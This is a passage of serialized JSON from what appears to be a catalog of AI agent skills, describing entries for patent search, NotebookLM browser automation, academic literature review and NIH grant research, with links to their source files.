[product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":134,"name":135,"nameZh":6,"description":136,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":115,"licenseFileUrl":6,"sourceHtmlUrl":137,"categories":138,"keywords":139,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":141,"name":142,"nameZh":6,"description":143,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":115,"licenseFileUrl":6,"sourceHtmlUrl":144,"categories":145,"keywords":146,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":148,"name":149,"nameZh":6,"description":150,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":115,"licenseFileUrl":6,"sourceHtmlUrl":151,"categories":152,"keywords":153,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]